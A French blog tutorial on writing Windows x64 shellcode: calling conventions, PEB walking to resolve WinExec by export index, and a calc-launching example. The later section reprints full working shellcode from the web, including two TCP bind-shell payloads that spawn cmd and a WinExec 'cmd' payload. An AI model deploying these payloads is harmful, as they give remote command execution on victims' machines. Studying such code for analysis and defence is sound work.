I. Introduction
Dans ce chapitre , nous allons revenir sur le développement
de shellcode en 64 bits et faire un tour d'horizon sur les shellcodes disponible sur
le web et les techniques utilisées
II. Convention des fonctions
En 64bits en raison de l’extension du jeu de registres et
des registres eux-mêmes de 32bits à 64bits, la convention __fastcall est
devenue la nouvelle convention d’appel par défaut. En effet, __cdecl n’est plus
la convention appelée par défaut comme sous 32bits.
Le « nouveau » modèle de __fastcall pour le 64 bits passe les quatres premiers arguments dans des registres et les suivants au travers de la pile.
les registres pour les arguments sont les registres RCX,
RDX, R8 et R9 et dans cette ordre pour les arguments
A contrarios de la
convention 32bits ou là uniquement 2 registres pouvaient passer en __fastcall
qui était ECX et EDX.
Nous allons prendre deux exemples pour bien voir le passage
de paramêtre
int Fn3(int a)
{
int
b=0;
b=a+12;
return b;
}
|
Nous donne le shellcode "\x8D\x41\x0C\xC3"
Notre argument a est passer dans le registre RCX et l'ajout de 0x0C ( en décimale 12) et ajouté
pour mettre la valeur dans EAX comme
notre fonction renvoi un int ( DWORD).
Attention ce code obtenu est lié au option de compilation
définit dans VC. Dans le cas cité, nous
avons positionner sur l'option "Réduire la taille (/O1)" pour
obtenir des shellcodes le plus compacte possible.
Maintenant si nous compilons le projet avec l'option
suivant:
L'intérêt de mieux visualisé la transcription du code C de
la fonction Fn3 vers le code assembleur X64
Relançons notre programme compilé avec l'option
indiqué au dessus:
Cela, nous donne un code Assembleur 64 bits non optimisé pour notre fonction Fn3
Dont voici la transcription en assembleur.
00000000:
89 4C 24 08 MOV
DWORD PTR [RSP+08h],ECX
00000004:
48 83 EC 18 SUB
RSP,18h
00000008:
C7 04 24 00 00 00 00 MOV
DWORD PTR [RSP], 00000000h ""
0000000F:
8B 44 24 20 MOV
EAX,DWORD PTR [RSP+20h]
00000013:
83 C0 0C ADD
EAX,0Ch
00000016:
89 04 24 MOV
DWORD PTR[RSP],EAX
00000019:
8B 04 24 MOV
EAX,DWORD PTR[ RSP ]
0000001C:
48 83 C4 18 ADD
RSP,18h
00000020: C3 RET
|
La ligne 1,correspond à la sauvegarde de l'argument a sur la pile
00000000:
89 4C 24 08 MOV
DWORD PTR [RSP+08h],ECX
|
En suite la ligne 2, alloue trois DWORD64, correspondant aux
variables utilisé dans le bloc du code la fonction ( a , c , b .
00000004: 48 83 EC 18 SUB RSP,18h
|
La ligne 3, elle correspond à notre b=0; en C
00000008:
C7 04 24 00 00 00 00 MOV
DWORD PTR [RSP], 00000000h ""
|
La ligne 4, effectue la copie de la valeur passé dans l'argument a
dans EAX
0000000F:
8B 44 24 20 MOV
EAX,DWORD PTR [RSP+20h]
|
La ligne 5 , là on retrouve notre EAX = EAX + 12 ( 0x0C en hexadecimal
)
00000013:
83 C0 0C ADD
EAX,0Ch
|
La ligne 6, met la valeur contenu dans le registre EAX dans la variable b. Ce qui
correspond au résultat
00000016:
89 04 24 MOV
DWORD PTR[RSP],EAX
|
La ligne 7, est là que pour mettre la valeur de sortie dans
RAX plus précisement la partie EAX. Car notre fonction renvoi un int qui est
que un DWORD
Donc ce traduit synmboliquement par mettre EAX = b
00000019:
8B 04 24 MOV
EAX,DWORD PTR[ RSP ]
|
la ligne 8 est la libération des variables crée sur la pile
0000001C:
48 83 C4 18 ADD
RSP,18h
|
la ligne 9, elle est le classique retour de fonction
00000020: C3 RET
|
Pour bien comprendre ses étapes, nous allons refaire la même
analyse avec une fonction à 2 arguments au travers de la fonction Fn4. Et pour
bien voir le rapport entre RCX et RDX. Nous avons fixer les arguments sur des
DWORD64 pour être sur la capacité maximum des registres.
DWORD64 Fn4(DWORD64 a,DWORD64 b)
{
DWORD64 c=0;
c=a+b;
return c;
}
|
Notre petit outil, vous permet de tester la fonction Fn4 et de voir le code assembleur de la fonction.
Cela nous donne le code assembleur 64 bits de notre fonction Fn4, que nous avons remis en dessous avec des explications.
00000000: 48 89 54 24 10 MOV QWORD PTR [RSP+10h],RDX
00000005: 48 89 4C 24 08 MOV QWORD PTR [RSP+08h],RCX
0000000A: 48 83 EC 18
SUB RSP,18h
0000000E:
48 C7 04 24 00 00 00 00 MOV
QWORD PTR [RSP],0x0000000000000000
00000016:
48 8B 4C 24 28 MOV
RCX,QWORD PTR[RSP+28h]
0000001B:
48 8B 44 24 20 MOV
RAX,QWORD PTR[RSP+20h]
00000020:
48 03 C1 ADD RAX,RCX
00000023:
48 89 04 24 MOV QWORD PTR[RSP],RAX
00000027:
48 8B 04 24 MOV RAX,QWORD PTR[RSP]
0000002B: 48 83 C4 18
ADD RSP,18h
0000002F:
C3 RET
|
Nous retrouvons la topologie de la sauvegarde des arguments
en premier en bleu et l'allocation des variables sur la pile et la libération en
vert qui correspond au 3 variables.
III. Extension du jeu de registre 64bits
L’assembleur en passant du jeu d'instruction de 32 bits vers 64 bits, c'est enrichie de nouveau registres de R8 à R15.
Pour ces nouveaux registres, il existe une notation bien précise pour leurs valeurs 32, 16 et 8bits.
Dont voici la notation :
Pour ces nouveaux registres, il existe une notation bien précise pour leurs valeurs 32, 16 et 8bits.
Dont voici la notation :
RXb pour le registre 8bits, avec un b comme BYTE
RXw pour le registre 16bits, avec un w comme WORD
RXd pour le registre 32bits, avec un d comme DWORD
RX pour le registre 64bits.
Ce qui nous donne en terme de capacité
RX = 1 Quadword = 2 dwords = 4 words = 8 bytes
RXd = 1 Dword = 2 words = 4 bytes
RXw = 1 Word = 2bytes
RXb = 1 bytes
En ce qui concerne les registres déjà existant, ils se voient remplacer le “e” par un R, par exemple l’extension d’eax en x86 devient en x64 RAX.
Voilà un petit tableau récapitulatif pour les différents sous division inclus dans les registres 64bits
Il en est de même pour les registres RCX, RDX, RBX, RSP, RDP, RSI, RDI,
RIP.
III. Obtenir l'adresse d'une Api en 64 bits
Le principe est le même que avec les anciens shellcode X32.
On peut les déclinais en 4 familles qui
sont soit par ( nom , ordinal , hash ,
index ) que l'on a l'habitude de noter.
GetProcAddressByApiName(...)
GetProcAddressByOrdinal(...)
GetProcAddressByHash(...)
GetProcAddressByIndex(...)
Nous allons regarder une des sous famille particulière
GetProcAddressByIndex, ce son des fonctions dédiés à la récupération d'une
unique Api comme LoadLibraryA , WinExec ... etc.
Dans notre exemple nous allons simplement lancer une
calculatrice et donc utiliser une fonction du type suivant:
DWORD64 GetWinExecByIndexVN(void);
( ou N est la variante de la fonction / dans notre exemple
sera 1)
Cette fonction permet de récupérer lors de son appel
l'adresse de l'api WinExec
Voici le shellcode X64 d'une fonction de ce type.
\x52\x56\x57\x53\x99\x65\x48\x8B\x42\x60\x48\x8B\x40\x18\x48\x8B
\x70\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x48\x31\xDB\x48\x31
\xF6\x8B\x5F\x3C\x48\x01\xFB\xB2\x88\x8B\x1C\x13\x48\x01\xFB\x8B
\x73\x1C\x48\x01\xFE\x99\x66\xBA\x27\x05\x8B\x04\x96\x48\x01\xF8
\x5B\x5F\x5E\x5A\xC3
|
Elle est nativement intégrer dans notre outil de construction de
Shellcode X64
Le code Assembleur de notre fonction est le suivant:
00000000:
52 PUSH
RDX
00000001:
56 PUSH
RSI
00000002:
57 PUSH
RDI
00000003:
53 PUSH
RBX
00000004:
99 CDQ
00000005:
65 48 8B 42 60 MOV RAX, QWORD
PTR GS:[RDX+60h]
0000000A:
48 8B 40 18 MOV
RAX,QWORD PTR[RAX+18h]
0000000E:
48 8B 70 10 MOV
RSI, QWORD PTR [RAX+10h]
00000012:
48 AD LODS
RAX,QWORD PTR DS:[RSI]
00000014:
48 8B 30 MOV
RSI,QWORD PTR[RAX]
00000017:
48 8B 7E 30 MOV
RDI,QWORD PTR[RSI+30h]
0000001B:
48 31 DB XOR
RBX,RBX
0000001E: 48 31 F6 XOR
RSI,RSI
00000021:
8B 5F 3C MOV
EBX,DWORD PTR[RDI + 3Ch]
00000024:
48 01 FB ADD
RBX,RDI
00000027:
B2 88 MOV DL,88h
(136)
00000029:
8B 1C 13 MOV
EBX,DWORD PTR[RBX+RDX*1]
0000002C:
48 01 FB ADD
RBX,RDI
0000002F:
8B 73 1C MOV
ESI,DWORD PTR[RBX + 1Ch]
00000032:
48 01 FE ADD
RSI,RDI
00000035:
99 CDQ
00000036:
66 BA 27 05 MOV
DX,0x0527
0000003A:
8B 04 96 MOV
EAX , DWORD PTR[RSI+RDX*4]
0000003D:
48 01 F8 ADD
RAX,RDI
00000040: 5B POP
RBX
00000041: 5F POP
RDI
00000042: 5E POP
RSI
00000043: 5A POP
RDX
00000044: C3 RET
|
Nous avons pas pris au hasard, cette fonction. Car elle
permet de bien comprendre le fonctionnement du mode index. Pour cela nous avons
mis en rouge un ombre qui va éclairé notre explication.
les fonctions exportées dans des dlls. Ce sont des fonctions
contenues dans les dll qui peuvent être appelées par tout autre programme ou
dll. Comme pour les fonctions importées, on y accède grâce au tableau
d’IMAGE_DATA_DIRECTORY obtenu depuis le champ “DataDirectory” de la structure
IMAGE_OPTIONAL_HEADER du PE. La structure de données qui nous intéresse est
IMAGE_EXPORT_DIRECTORY en utilisant la constante
Nous remettons la structure de IMAGE_EXPORT_DIRECTORY du PE
Les fonctions peuvent être exporté par leurs nom exemple
"WinExec"
le champ “NumberOfNames” contient le nombre exacte de
fonction exporté par nom contenu dans la DLL.
Le champ "AddressOfNames" contient le RVA vers
le tableau Export de Nom de fonction.
et le champs " AddressOfNameOrdinals" contient
le RVA vers le tableau des Ordinaux
et enfin le champs "AddressOFunctions" contient
le RVA vers le tableau des RVA du code des fonctions
les RVA sont exprimer par rapport a l'emplacement ou est
loader le module en mémoire (hModule == Address du module en mémoire dans le
processus .
Donc si connaît l'index du tableau "Export Address
Table" de notre fonction nous connaissons le RVA de la fonction et il est
simple de calculer l'adresse en mémoire de la fonction
Dans l'exemple à l'index 3 ce trouve le RVA de la fonction
"WinExec" qui est 0x400520 qui est l'offset par rapport l'adresse de
notre module en mémoire Kernel32.dll que l'on va fixe à 0x00000000777C0000
si nous donne que l'addresse WinExec en mémoire est donc
0x0000000077BC0520
= 0x00000000777C0000 + 0x0000000000400520
Nous avons un outil qui list des index et ordinal des
fonctions d'un module en mémoire que ce soit sur un processus X32 ou X64
Nous avons effectué l'analyse sur un processus Calc.exe(X64)
Nous obtenons comme index = 1319 qui est en hexadecimal
donne 0x527 ( faut bien prendre que
l'ordinal est aussi le numéro de case dans le tableau donc 528, car la premier
case est noté 1.
Vous pouvez connaître les Ordinals facilement avec
"CFF Explorer" et obtenir l'index = Ordinal -1 ;o)
Maintenant si nous codons une nouvelle fonction
GetWinExecByIndexX64V3 en C++. Avec tous ce que l'on vient de dire, voici le code que l'on peut écrit pour cette fonction:
DWORD64 GetWinExecByIndexX64V3(void)
{
DWORD64 pPeb64 =
(DWORD64)__readgsqword(0x0C * sizeof(PVOID));
DWORD64* pPeb64_LoaderData
=(DWORD64*)( pPeb64 + 0x18);
DWORD64
dw64Addr_Peb_Ldr_Data64 = *pPeb64_LoaderData;
DWORD64*
pPeb64_Ldr_InLoadOrderModuleList_Flink
=(DWORD64*)(dw64Addr_Peb_Ldr_Data64+0x10);
DWORD64*
pLdrModule64_InLoadOrderLinks_Flink = (DWORD64*)(*pPeb64_Ldr_InLoadOrderModuleList_Flink);
pLdrModule64_InLoadOrderLinks_Flink
= (DWORD64*)(*pLdrModule64_InLoadOrderLinks_Flink);
DWORD64* pKernel32
=(DWORD64*)( *pLdrModule64_InLoadOrderLinks_Flink + 0x30);
DWORD64
dw64Addr_Kernel32Dll =(DWORD64)(*pKernel32);
PIMAGE_NT_HEADERS pINH;
PIMAGE_EXPORT_DIRECTORY
pIED;
pINH=(PIMAGE_NT_HEADERS)((char*)dw64Addr_Kernel32Dll+((PIMAGE_DOS_HEADER)dw64Addr_Kernel32Dll)->e_lfanew);
pIED=(PIMAGE_EXPORT_DIRECTORY)((char*)dw64Addr_Kernel32Dll+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD Address=(PDWORD)((char*)dw64Addr_Kernel32Dll+pIED->AddressOfFunctions);
return
(DWORD64)((char*)dw64Addr_Kernel32Dll+Address[0x527]);
} |
Nous avons essayer de mettre des noms suffisamment parlant
pour bien faire la relation avec le PEB64 dans le processus X64
Nous remettons le schema des structures dans le PEB
Nous avons intégrer cette fonction dans notre outil et permet de voir le code assembleur
Nous remettons le shellcode correspondant pour vous
simplifier l'analyse avec vos outils
\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x48\x18\x48\x8B\x41
\x10\x48\x8B\x08\x48\x8B\x01\x48\x8B\x50\x30\x48\x63\x42\x3C\x8B
\x8C\x10\x88\x00\x00\x00\x8B\x44\x11\x1C\x8B\x84\x10\x9C\x14\x00
\x00\x48\x03\xC2\xC3
|
Nous vous fournissons également la transcrit en assembleur
du shellcode
00000000: 65 48 8B 04 25 60 00 00 00 MOV RAX, qword
ptr gs:00000060h
00000009: 48 8B 48 18 MOV
RCX,QWORD PTR[RAX+18h]
0000000D: 48 8B 41 10 MOV
RAX,QWORD PTR[RCX+10h]
00000011: 48 8B 08 MOV RCX,QWORD PTR[RAX]
00000014: 48 8B 01 MOV RAX,QWORD PTR[RCX]
00000017: 48 8B 50 30 MOV
RDX,QWORD PTR[RAX+0x30]
0000001B: 48 63 42 3C
MOVSXD RAX,DWORD PTR [RDX+3Ch]
0000001F: 8B 8C 10 88 00 00 00
MOV ECX, DWORD PTR[RAX+RDX*1+0x00000088]
00000026: 8B 44 11 1C MOV
EAX,DWORD PTR[RCX+RDX*1+0x1C]
0000002A: 8B 84 10 9C 14 00 00
MOV EAX, DWORD PTR[RAX+RDX*1+0000149Ch]
00000031: 48 03 C2 ADD RAX,RDX
00000034: C3 RET
|
V. Mise en pratique création du shellcode start "calc"
Nous allons maintenant crée notre shellcode avec la fonction
"GetWinExecByIndexX64V3"
Pour lancer une simple calculatrice sous Windows.
Nous vous mettons le shellcode construit
unsigned char ShellcodeX64_SampleGetWinExecByIndexX64V3ToStartCalc_sc[]=
"\x51\x52\x55"
"\xE8\x0F\x00\x00\x00"
"\xEB\x42"
"\x59"
"\x48\x31\xD2"
"\x48\xFF\xC2"
"\xFF\xD0"
"\x5D\x5A\x59"
"\xC3"
"\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x48\x18\x48\x8B\x41"
"\x10\x48\x8B\x08\x48\x8B\x01\x48\x8B\x50\x30\x48\x63\x42\x3C\x8B"
"\x8C\x10\x88\x00\x00\x00\x8B\x44\x11\x1C\x8B\x84\x10\x9C\x14\x00"
"\x00\x48\x03\xC2\xC3"
"\xE8\xB9\xFF\xFF\xFF"
"\x63\x61\x6C\x63\x00";
|
Voici le code Assembleur
correspondant pour les explications techniques.
00000000:
51 PUSH RCX
00000001:
52 PUSH RDX
00000002:
55 PUSH RBP
00000003: E8 0F
00 00 00 CALL 0000000Fh (+0Fh ->:00000017)
00000008: EB 42 JMP(rel8) 42h (+42h ->:0000004C)
0000000A: 59 POP RCX
0000000B: 48 31
D2 XOR RDX,RDX
0000000E: 48 FF
C2 INC RDX
00000011: FF D0 CALL RAX
00000013: 5D POP RBP
00000014: 5A POP RDX
00000015: 59 POP RCX
00000016: C3 RET
00000017:
65 48 8B 04 25 60 00 00 00 MOV RAX, qword ptr gs:00000060h
00000020:
48 8B 48 18 MOV RCX,QWORD PTR[RAX+18h]
00000024:
48 8B 41 10 MOV RAX,QWORD PTR[RCX+10h]
00000028:
48 8B 08 MOV RCX,QWORD PTR[RAX]
0000002B:
48 8B 01 MOV RAX,QWORD PTR[RCX]
0000002E:
48 8B 50 30 MOV RDX,QWORD PTR[RAX+0x30]
00000032:
48 63 42 3C MOVSXD RAX,DWORD PTR [RDX+3Ch]
00000036:
8B 8C 10 88 00 00 00 MOV ECX, DWORD
PTR[RAX+RDX*1+0x00000088]
0000003D:
8B 44 11 1C MOV EAX,DWORD PTR[RCX+RDX*1+0x1C]
00000041:
8B 84 10 9C 14 00 00 MOV EAX, DWORD PTR[RAX+RDX*1+0000149Ch]
00000048:
48 03 C2 ADD RAX,RDX
0000004B:
C3 RET
0000004C: E8 B9
FF FF FF CALL FFFFFFB9h (-47h ->:0000000A)
db "calc"
00000051: 63 61
6C 63
00000055: 00
|
Nous avons mis en vert les
sauvegarde des registres que l'on va utiliser dans le programme ( RCX , RDX et
RBP )
Vous retrouver notre fonction GetWinExecByIndexX64V3
en violet
Si nous utilisons notre outil
d'analyse de code X64, nous obtenons l'architecture décrite
Il ne nous reste plus que à
tester notre shellcode. Pour cela nous avons rajouter un panel "Run"
dans notre ancien programme "Easy Lab Constructor Shellcode X64".Cela
pour tester en live des shellcodes X64
VI. Recherchons des exemples similaire du Web
Maintenant, que nous avons expliquer la construction de ce
type de shellcode X64. Et comme nous avons signalé au début de l'article cette
technique est assez courante d'utilisation dans des shellcodes
Nous allons faire un petit tour sur différents shellcode
exploitant cette technique
Nous allons d'abord voir les fonctions de type :
DWORD64 GetLoadLibraryAByIndexVN(VOID); // Ou N numéro de variante
Un exemple simple ce trouve à l'url suivant:
http://ddecode.com/hexdecoder/?results=b05bb6f65864f6f11fd9f53a00adadd4
Nous avons remis le shellcode au format C
unsigned
char x64_N42_shellcode_Inconnue_x64[]
=
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76"
"\x10\x48\xad\x48\x8b\x30\x4c\x8b\x76\x30\xb2\x88\x41\x8b\x5e"
"\x3c\x4c\x01\xf3\x8b\x1c\x13\x4c\x01\xf3\x8b\x73\x1c\x4c\x01"
"\xf6\x66\xba\x40\x03\x8b\x1c\x96\x4c\x01\xf3\xb2\x80\x48\x29"
"\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32"
"\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49"
"\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x49\x89\xc7\x48\x31\xd2"
"\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb"
"\x8b\x7b\x1c\x4c\x01\xff\x66\xba\xc8\x01\x8b\x1c\x17\x4c\x01"
"\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24"
"\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x66\xba"
"\x88\x01\x8b\x1c\x17\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59"
"\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24"
"\x28\xff\xd3\x49\x89\xc5\x8b\x5f\x50\x4c\x01\xfb\x48\x31\xd2"
"\x4c\x89\xe9\x66\xba\xff\xff\x6a\x04\x41\x58\xc6\x04\x24\x01"
"\x4c\x8d\x0c\x24\x48\x83\xec\x58\x4c\x89\x44\x24\x20\xff\xd3"
"\x8b\x5f\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89"
"\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7"
"\x44\x24\x02\x11\x5c\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x8b"
"\x5f\x30\x4c\x01\xfb\x6a\x01\x5a\x41\x55\x59\xff\xd3\x8b\x1f"
"\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08"
"\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\x48"
"\x83\xec\x58\xff\xd3\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54"
"\x24\x08\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24"
"\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24"
"\x18\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x49\x89\x44\x24"
"\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x41\xc7\x44\x24"
"\xfc\x63\x6d\x64\x41\x41\x88\x4c\x24\xff\x48\x83\xec\x58\x49"
"\x8d\x54\x24\xfc\x4d\x31\xc0\x41\x50\x41\x59\xc6\x44\x24\x20"
"\x01\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24"
"\x38\x49\x8d\x04\x24\x48\x89\x44\x24\x40\x49\x8d\x44\x24\x68"
"\x48\x89\x44\x24\x48\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b"
"\x1c\x16\x4c\x01\xf3\xff\xd3\x66\x41\xba\xa4\x04\x42\x8b\x1c"
"\x16\x4c\x01\xf3\x6a\x01\x59\x48\x83\xc4\x58\xff\xd3";
|
Nous trouvons le premier bloc et GetLoadLibraryAByIndexV3
L'ensembles des autres API sont récupéré de la même maniéré ( WSAStartup
, puis WSASocket .. )
Prenons un autre exemple ce trouvant à l'url suivant: https://vulners.com/exploitdb/EDB-ID:40981
Nous avons remis le shellcode au format C
unsigned
char x64_N25_shellcode_PasswordProtectedBindShellTCP[]=
"\x99\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x65\x48\x8b"
"\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48"
"\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01"
"\xfb\x8b\x73\x1c\x48\x01\xfe\x48\x31\xd2\x41\xc7\x04\x24\x77\x73"
"\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x66"
"\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0c\x24\xff\xd3\x49"
"\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c"
"\x13\x4c\x01\xfb\x44\x8b\x73\x1c\x4d\x01\xfe\x66\xba\xc8\x01\x41"
"\x8b\x1c\x16\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc"
"\x48\x8d\x14\x24\x66\xb9\x02\x02\xff\xd3\x48\x83\xec\x58\x48\x83"
"\xec\x58\x48\x31\xd2\x66\xba\x88\x01\x41\x8b\x1c\x16\x4c\x01\xfb"
"\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c"
"\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x41\x8b\x5e\x04"
"\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89"
"\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x09\xbd"
"\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x41\x8b\x5e\x30\x4c\x01\xfb"
"\x6a\x01\x5a\x4c\x89\xe9\xff\xd3\x48\x83\xec\x58\xeb\x12\x48\x83"
"\xc4\x58\x41\x8b\x5e\x08\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\xff\xd3"
"\x41\x8b\x1e\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54"
"\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9"
"\xff\xd3\x49\x89\x44\x24\xf8\x41\x8b\x5e\x48\x4c\x01\xfb\x49\x8b"
"\x4c\x24\xf8\x41\xc7\x04\x24\x2d\x2d\x3e\x20\x49\x8d\x14\x24\x6a"
"\x04\x41\x58\x4d\x31\xc9\x48\x83\xec\x58\xff\xd3\x41\x8b\x5e\x3c"
"\x4c\x01\xfb\x4d\x31\xc9\x6a\x08\x41\x58\x49\x8d\x14\x24\x49\x8b"
"\x4c\x24\xf8\xff\xd3\x41\x81\x3c\x24\x68\x32\x37\x31\x0f\x85\x7b"
"\xff\xff\xff\x41\x81\x7c\x24\x04\x35\x30\x38\x46\x0f\x85\x6c\xff"
"\xff\xff\x8b\x5e\x44\x48\x01\xfb\xff\xd3\x48\x31\xd2\x41\xc7\x04"
"\x24\x75\x73\x65\x72\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54"
"\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\x66\xba\x40\x03\x8b\x1c"
"\x96\x48\x01\xfb\xff\xd3\x49\x89\xc6\x41\xc7\x04\x24\x46\x69\x6e"
"\x64\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x41\xc7\x44\x24\x08\x6f"
"\x77\x41\x41\x41\x80\x74\x24\x0b\x41\x48\x31\xd2\x66\xba\x2c\x09"
"\x44\x8b\x2c\x16\x49\x01\xfd\x49\x8d\x14\x24\x4c\x89\xf1\x41\xff"
"\xd5\x48\x31\xd2\x41\xc7\x04\x24\x43\x6f\x6e\x73\x41\xc7\x44\x24"
"\x04\x6f\x6c\x65\x57\x41\xc7\x44\x24\x08\x69\x6e\x64\x6f\x41\xc7"
"\x44\x24\x0c\x77\x43\x6c\x61\x66\x41\xc7\x44\x24\x10\x73\x73\x41"
"\x88\x54\x24\x12\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x48\x31"
"\xd2\x41\xc7\x04\x24\x53\x68\x6f\x77\x41\xc7\x44\x24\x04\x57\x69"
"\x6e\x64\x66\x41\xc7\x44\x24\x08\x6f\x77\x41\x88\x54\x24\x0a\x49"
"\x8d\x14\x24\x4c\x89\xf1\x41\x55\x5b\x49\x89\xc5\xff\xd3\x4c\x89"
"\xe9\x48\x31\xd2\xff\xd0\x4d\x31\xc0\x41\x50\x5a\x66\xba\x1f\x04"
"\x8b\x1c\x96\x48\x01\xfb\x41\x50\x5a\xb2\x80\x49\x8d\x0c\x24\xff"
"\xd3\x48\x31\xd2\x41\xc7\x44\x24\xf4\x63\x6d\x64\x41\x41\x88\x54"
"\x24\xf7\xb2\x68\x49\x89\x14\x24\xb2\xff\x48\xff\xc2\x49\x8b\x44"
"\x24\xf8\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24"
"\x58\x49\x89\x44\x24\x60\x48\x83\xec\x58\x48\x31\xc9\x4d\x31\xc9"
"\x6a\x01\x41\x58\x4c\x89\x44\x24\x20\x48\x89\x4c\x24\x28\x48\x89"
"\x4c\x24\x30\x48\x89\x4c\x24\x38\x49\x8d\x14\x24\x48\x89\x54\x24"
"\x40\x49\x8d\x54\x24\x68\x48\x89\x54\x24\x48\x4d\x31\xc0\x49\x8d"
"\x54\x24\xf4\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x48"
"\x01\xfb\xff\xd3\x48\x31\xd2\x52\x66\xba\x29\x01\x8b\x1c\x96\x48"
"\x01\xfb\x59\x48\x83\xc4\x58\xff\xd3";
|
Nous retrouvons la fonction simplement
Enfin, nous allons voir les fonctions de type :
DWORD64 GetWinExecByIndexVN(VOID); // Ou N numéro de variante
Via un exemple au travers de l'url suivant: https://bbs.pediy.com/thread-225651.htm
Dans celui-ci , en contrôlant il y a une petit erreur 0x528
au lieu de 0x527 que nous avons corrig. Lorsque nous avons remis le shellcode au format C
unsigned
char x64_N60_Shellcode_WinExecCMDandFatalExit[] =
"\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad"
"\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c"
"\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01"
"\xfe\x99\x66\xba\x27\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99"
"\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8"
"\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";
|
nous retrouvons le block de la
fonction DWORD64 GetWinExecByIndexV1(void);
que nous avons décrit au début de l'article
Si vous cherche un peu sur le
web, vous trouverez bien d'autre exemple sur ce model.
Aucun commentaire:
Enregistrer un commentaire